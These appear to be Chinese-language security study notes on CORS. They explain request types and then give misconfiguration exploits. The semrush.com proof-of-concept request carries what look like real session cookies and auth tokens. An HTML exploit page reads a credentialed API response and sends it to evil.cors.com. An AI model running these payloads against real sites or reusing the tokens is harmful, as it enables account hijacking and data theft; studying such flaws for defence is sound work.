应用安全

CORS

简介

用途
解决同源下资源共享问题(其他类似方案：更改document.domain属性 | 跨文档消息 | JSONP)

分类

（1）Simple Request

User Request：

function retrieveData() {
　　var request = new XMLHttpRequest();
　　request.open('GET', 'http://public-data.com/someData', true);
　　request.onreadystatechange = handler;
　　request.send();
}

Browser Request：

GET /someData/ HTTP/1.1
Host: public-data.com
 ......
Referer: http://xxx.com/somePage.html
Origin: http://xxx.com

Response：

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://xxx.com
Content-Type: application/xml

（2）Preflighted Request 

User Request：

function sendData() {
    var request = new XMLHttpRequest(),
    payload = ......;
    request.open('POST', 'http://public-data.com/someData', true);
    request.setRequestHeader('X-CUSTOM-HEADER', 'custom_header_value');
    request.onreadystatechange = handler;
    request.send(payload);
 }

Browser Request-1:

OPTIONS /someData/ HTTP/1.1
Host: public-data.com
 ......
Origin: http://xxx.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-CUSTOM-HEADER

Response-1:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://xxx.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-CUSTOM_HEADER
Access-Control-Max-Age: 1728000
......

Request-2:

POST /someData/ HTTP/1.1
Host: public-data.com
X-CUSTOM-HEADER: custom_header_value
......

Browser Response-2:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://xxx.com
Content-Type: application/xml
......

(3)Requests with Credential

User Request：

function retrieveData() {
     var request = new XMLHttpRequest();
     request.open('GET', 'http://public-data.com/someData', true);
     request.withCredentials = true;
     request.onreadystatechange = handler;
     request.send();
 }

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://xxx.com
Content-Type: application/xml

POC 

GET /organic-traffic-insights/api/rest/1.2/users/███/projects?_=1496248656402 HTTP/1.1
Host: www.semrush.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: https://www.semrush.com/projects/
X-Requested-With: XMLHttpRequest
Cookie: wp13557="UWYYADs-TTTW:WWLHWYDtlnDl-TJIH-UYUTDDDIALHUZDLZTAHTIV-CCAY-XMLT-IUUA-UYUBWXWZACCWDlLtkNlo_Jht"; ref_code=__default__; usertype=Free-User; marketing=%7B%22user_cmp%22%3A%22%22%2C%22user_label%22%3A%22%22%7D; localization=%7B%22locale%22%3A%22en%22%2C%22db%22%3A%22sg%22%7D; db_date=current; userdata=%7B%22tz%22%3A%22GMT+8%22%2C%22ol%22%3A%22en%22%7D; _ga=GA1.2.412244322.1496213122; _gid=GA1.2.1937633003.1496213122; visit_first=1496213122000; __uvt=; uvts=65OAcWY4QhJHESTs; referer_purchase=https%3A%2F%2Fes.semrush.com%2Fdashboard%2F; sct:feedback:show=false; __insp_uid=2126149429; temp_db_but=sg; db=us; exp_feature_popup_closed=yes; about_sessionid=gue5yj2t8bmucnlwuv1y1cxilq7a7q8g; about_csrf=i6C8isOR7WLuVa1348FSsPH6rXzVEQSr; n_userid=LuWhoFku7Ou4q2PeBHIUAg==; __zlcmid=gngUE7HFajaRsy; _bizo_bzid=ec0d2554-575b-420b-b404-51b70939ec49; _bizo_cksm=34222E182676EC07; _bizo_np_stats=155%3D338%2C; auth_token=CMFMT27JhWR9cnbkoV1dHvFaxc4tQ3f0B4IAw5BfTOjyeKeF9FKx8w2kpiLl; __insp_wid=1632961932; __insp_slim=1496248714271; __insp_nv=false; __insp_targlpu=aHR0cHM6Ly93d3cuc2VtcnVzaC5jb20vcHJvamVjdHMvIzgwMDEyMi92aWV3Lw%3D%3D; __insp_targlpt=U0VNcnVzaA%3D%3D; __insp_norec_howoften=true; __insp_norec_sess=true; org.springframework.web.servlet.i18n.CookieLocaleResolver.LOCALE=en; connect.sid=s%253A4cV9yXJcfQFXmC65JJn3KSP6Wp184s10.vGOEA1%252BgVTXbwDY4YSOkOjjnteLNyifmcQdJh8XZckI; _gat=1; _uetsid=_uetd1ba382c; JSESSIONID=4423D9EF5D5BEE794094AC0713E9EE8E; _gat_UA-6197637-22=1
Connection: close
Origin: https://itqayzlbkshw.com


response it returns Access-Control-Allow-Origin: https://itqayzlbkshw.com

CORS + CSRF -》向被攻击主机发送文件

CORS + XSS -》劫持用户会话 | 注入攻击

蠕虫

 

JSONP 

（1）

XSS

1.POC | EXP

(2)越权

同源策略绕过方法

（1）绕过 - 仅对域名校验

#POC
#"Access-Control-Allow-Origin: https://xx.co & Access-Control-Allow- 
    Credentials: true".
#Origin: https://xx.co.evil.net, Access-Control-Allow-Origin: https://xx.co.evil.net.
<html>
<body>
<button type='button' onclick='cors()'>CORS</button>
<p id='demo'></p>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var a = this.responseText; 
document.getElementById("demo").innerHTML = a;
xhttp.open("POST", "http://evil.cors.com", true);
xhttp.withCredentials = true;
console.log(a);
xhttp.send("data="+a);
}
};
xhttp.open("GET", "https://www.xx.co/api/v1/users/*******", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
</body>
</html>

（2）访问源未列入白名单，并且具备规则Access-Control-Allow-Credentials: true

<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://api.xx.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>